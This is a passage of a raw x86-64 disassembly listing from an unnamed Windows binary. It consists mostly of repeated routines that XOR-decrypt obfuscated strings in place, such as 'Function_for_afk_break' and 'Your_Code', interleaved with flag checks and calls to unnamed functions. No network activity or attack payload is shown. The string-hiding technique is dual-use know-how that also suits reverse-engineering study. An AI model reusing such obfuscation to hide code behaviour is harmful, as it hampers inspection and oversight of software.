pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140069990
lea rdx, [0x1400b40fd]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x1400699ed
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b40fd], 1
jne 0x140069b97
lea rdx, [rbp + 0x880]
mov byte [rbp - 0x51], 0
lea rcx, [rbp - 0x51]
call fcn.140087d00
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x140069b71
mov r8d, edi
cmp esi, 2
jl 0x140069b33
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140069b40
movaps xmm2, xmm11
lea rcx, [rbp + 0x480]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aefec]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140069bb7
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140069bb7
lea rcx, str.Function_for_afk_break
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14006a3a0
lea rdx, [rbp + 0x2260]
mov byte [rbp - 0x50], 0
lea rcx, [rbp - 0x50]
call fcn.140087d20
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x140069d81
mov r8d, edi
cmp esi, 2
jl 0x140069d49
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140069c40
cmp r8d, 0x22
jge 0x140069d81
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x140069d50
lea rdx, [0x1400b40fd]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b40fd], 1
jne 0x140069f87
lea rdx, [rbp + 0x29e0]
mov byte [0x1400b40fd], 1
lea rcx, [rbp - 0x4f]
mov byte [rbp - 0x4f], 0
call fcn.140087d50
mov rbx, rax
cmp byte [rax + 0x2c], 0
je 0x140069f61
mov r8d, edi
cmp esi, 2
jl 0x140069f29
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140069e20
cmp r8d, 0x2d
jge 0x140069f61
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140069f30
movaps xmm2, xmm11
lea rcx, [rbp + 0x488]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aefec]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140069fb0
cmp byte [0x1400aef77], 1
jne 0x140069fb0
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140069fb0
lea rcx, [0x14009ff38]
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14006a3a0
lea rdx, [rbp + 0x1cc0]
mov byte [rbp - 0x4e], 0
lea rcx, [rbp - 0x4e]
call fcn.140087d90
mov r10, rax
cmp byte [rax + 0x1e], 0
je 0x14006a171
mov r8d, edi
cmp esi, 2
jl 0x14006a139
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x14006a030
cmp r8d, 0x1f
jge 0x14006a171
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1f
jl 0x14006a140
lea rdx, [0x1400b3988]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b3988], 1
jne 0x14006a377
lea rdx, [rbp + 0x16b0]
mov byte [0x1400b3988], 1
lea rcx, [rbp - 0x4d]
mov byte [rbp - 0x4d], 0
call fcn.140087dd0
mov rbx, rax
cmp byte [rax + 0x11], 0
je 0x14006a351
mov r8d, edi
cmp esi, 2
jl 0x14006a319
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14006a210
cmp r8d, 0x12
jge 0x14006a351
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14006a320
movaps xmm2, xmm11
lea rcx, [rbp + 0x490]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b420c]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x14006a3a0
cmp byte [0x1400aef77], 1
jne 0x14006a3a0
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006a3a0
lea rcx, [0x14009ff70]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x14006a423
lea rdx, [rbp + 0x190]
mov byte [rbp - 0x4c], 0
lea rcx, [rbp - 0x4c]
call fcn.140087df0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14006a3de
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x14006a403
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x14006a423
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006a423
lea rcx, str.Your_Code
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14006a5cb
lea rdx, [rbp + 0x498]
mov byte [rbp - 0x4b], 0
lea rcx, [rbp - 0x4b]
call fcn.140087e10
mov r10, rax
cmp byte [rax + 7], 0
je 0x14006a5a3
mov r8d, edi
cmp esi, 2
jl 0x14006a569
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x14006a5a3
mov r9, r10
nop dword [rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006a570
mov rcx, r10
call fcn.140040350
cmp byte [0x1400aeff4], 1
jne 0x14006a5cb
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006a5cb
lea rcx, [0x14009ffb8]
call fcn.1400161e0
movss xmm0, dword [0x1400a2000]
call fcn.140015290
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x4a0]
mov byte [rbp - 0x4a], 0
lea rcx, [rbp - 0x4a]
call fcn.140087e20
mov r10, rax
cmp byte [rax + 7], 0
je 0x14006a754
mov r8d, edi
cmp esi, 2
jl 0x14006a71e
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 0x1f
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ebx, 4
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x14006a759
mov r9, r10
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006a721
mov ebx, 4
mov r9d, 9
mov dword [rsp + 0x20], edi
xor r8d, r8d
lea rdx, [0x1400ae058]
mov rcx, r10
call fcn.140046780
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x6d0]
mov byte [rbp - 0x49], 0
lea rcx, [rbp - 0x49]
call fcn.140087e30
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14006a7c7
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor cl, 0x3a
mov byte [rax + 9], cl
mov r9d, 9
mov dword [rsp + 0x20], edi
xor r8d, r8d
lea rdx, [0x1400ae054]
mov rcx, rax
call fcn.140046780
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x4a8]
mov byte [rbp - 0x48], 0
lea rcx, [rbp - 0x48]
call fcn.140087e50
mov r10, rax
cmp byte [rax + 7], 0
je 0x14006a963
mov r8d, edi
cmp esi, 2
jl 0x14006a924
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 0x1f
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x14006a963
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006a930
mov r9d, 9
mov dword [rsp + 0x20], edi
xor r8d, r8d
lea rdx, [0x1400ae07c]
mov rcx, r10
call fcn.140046780
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x4b0]
mov byte [rbp - 0x47], 0
lea rcx, [rbp - 0x47]
call fcn.140087e60
mov r10, rax
cmp byte [rax + 7], 0
je 0x14006ab03
mov r8d, edi
cmp esi, 2
jl 0x14006aac0
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 0x1f
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x14006ab03
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006aad0
mov r9d, 9
mov dword [rsp + 0x20], edi
xor r8d, r8d
lea rdx, [0x1400ae080]
mov rcx, r10
call fcn.140046780
call fcn.140015330
cmp byte [0x1400ae053], 0
je 0x14006aced
lea rdx, [rbp + 0x890]
mov byte [rbp - 0x46], 0
lea rcx, [rbp - 0x46]
call fcn.140087e70
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14006aca1
mov r8d, edi
cmp esi, 2
jl 0x14006ac69
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 0x1f
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
